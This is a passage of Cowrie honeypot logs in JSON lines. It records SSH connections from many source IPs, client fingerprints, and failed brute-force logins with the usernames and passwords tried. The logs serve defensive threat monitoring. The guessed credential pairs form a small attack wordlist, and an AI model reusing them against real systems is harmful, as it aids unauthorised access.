enssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:32.322666Z","src_ip":"81.192.46.32","session":"dfba5ebe0832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123123","message":"login attempt [postgres/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:32.816234Z","src_ip":"81.192.46.32","session":"dfba5ebe0832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:33.934103Z","src_ip":"81.192.46.32","session":"dfba5ebe0832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0703e43ca0","protocol":"ssh","message":"New connection: 8.210.75.243:44852 (10.17.0.5:22) [session: 1c0703e43ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:36.058661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:38.639924Z","src_ip":"8.210.75.243","session":"1c0703e43ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58928,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53fc6d40473","protocol":"ssh","message":"New connection: 103.98.149.87:58928 (10.17.0.5:22) [session: a53fc6d40473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:45.916961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:45.941781Z","src_ip":"103.98.149.87","session":"a53fc6d40473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:46.140811Z","src_ip":"103.98.149.87","session":"a53fc6d40473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":38846,"dst_ip":"159.203.135.109","dst_port":22,"session":"365914e64c80","protocol":"ssh","message":"New connection: 143.20.185.207:38846 (159.203.135.109:22) [session: 365914e64c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:46.425376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:46.429139Z","src_ip":"143.20.185.207","session":"365914e64c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:46.551901Z","src_ip":"143.20.185.207","session":"365914e64c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#4VCPU8GBAMD","message":"login attempt [root/RASYAXINSA#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:46.941472Z","src_ip":"143.20.185.207","session":"365914e64c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:47.044553Z","src_ip":"103.98.149.87","session":"a53fc6d40473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:48.058109Z","src_ip":"143.20.185.207","session":"365914e64c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:48.270160Z","src_ip":"103.98.149.87","session":"a53fc6d40473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.33402395248413,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:56.022237Z","src_ip":"107.6.151.170","session":"fc1dfb834e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57218,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0cdd3df6c52","protocol":"ssh","message":"New connection: 8.210.75.243:57218 (10.17.0.5:22) [session: c0cdd3df6c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:05.485349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:05.520092Z","src_ip":"8.210.75.243","session":"c0cdd3df6c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d08c934b447","protocol":"ssh","message":"New connection: 152.67.46.203:45178 (10.17.0.5:22) [session: 2d08c934b447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:18.588006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:18.592108Z","src_ip":"152.67.46.203","session":"2d08c934b447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:18.705439Z","src_ip":"152.67.46.203","session":"2d08c934b447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123123","message":"login attempt [postgres/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:19.193464Z","src_ip":"152.67.46.203","session":"2d08c934b447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:20.309427Z","src_ip":"152.67.46.203","session":"2d08c934b447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51862,"dst_ip":"10.17.0.5","dst_port":22,"session":"71f573782432","protocol":"ssh","message":"New connection: 109.237.96.109:51862 (10.17.0.5:22) [session: 71f573782432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:32.413131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:32.418065Z","src_ip":"109.237.96.109","session":"71f573782432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:32.507378Z","src_ip":"109.237.96.109","session":"71f573782432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11041982","message":"login attempt [root/11041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:32.780103Z","src_ip":"109.237.96.109","session":"71f573782432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:33.872077Z","src_ip":"109.237.96.109","session":"71f573782432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":51464,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8a3665a34b9","protocol":"ssh","message":"New connection: 152.200.205.179:51464 (10.17.0.5:22) [session: f8a3665a34b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:34.319229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:34.323564Z","src_ip":"152.200.205.179","session":"f8a3665a34b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:34.414937Z","src_ip":"152.200.205.179","session":"f8a3665a34b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345678","message":"login attempt [nexus/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:34.812462Z","src_ip":"152.200.205.179","session":"f8a3665a34b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:35.905793Z","src_ip":"152.200.205.179","session":"f8a3665a34b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":43082,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06a077e5edf","protocol":"ssh","message":"New connection: 162.144.105.39:43082 (10.17.0.5:22) [session: f06a077e5edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:35.977923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:35.980789Z","src_ip":"162.144.105.39","session":"f06a077e5edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:36.062559Z","src_ip":"162.144.105.39","session":"f06a077e5edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge123","message":"login attempt [doge/doge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:36.317242Z","src_ip":"162.144.105.39","session":"f06a077e5edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:37.685166Z","src_ip":"162.144.105.39","session":"f06a077e5edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":46084,"dst_ip":"10.17.0.5","dst_port":22,"session":"26fb764acc8f","protocol":"ssh","message":"New connection: 162.144.61.95:46084 (10.17.0.5:22) [session: 26fb764acc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:53.914628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:53.918455Z","src_ip":"162.144.61.95","session":"26fb764acc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:54.007327Z","src_ip":"162.144.61.95","session":"26fb764acc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"poloniexexchange","password":"poloniex123","message":"login attempt [poloniexexchange/poloniex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:54.274483Z","src_ip":"162.144.61.95","session":"26fb764acc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:05:55.658143Z","src_ip":"162.144.61.95","session":"26fb764acc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":50902,"dst_ip":"10.17.0.5","dst_port":22,"session":"b36d60cab7de","protocol":"ssh","message":"New connection: 2.57.122.209:50902 (10.17.0.5:22) [session: b36d60cab7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:03.259437Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:03.359974Z","src_ip":"2.57.122.209","session":"b36d60cab7de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":14480,"dst_ip":"10.17.0.5","dst_port":22,"session":"445b87f59528","protocol":"ssh","message":"New connection: 123.58.213.128:14480 (10.17.0.5:22) [session: 445b87f59528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:05.972067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:05.975990Z","src_ip":"123.58.213.128","session":"445b87f59528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-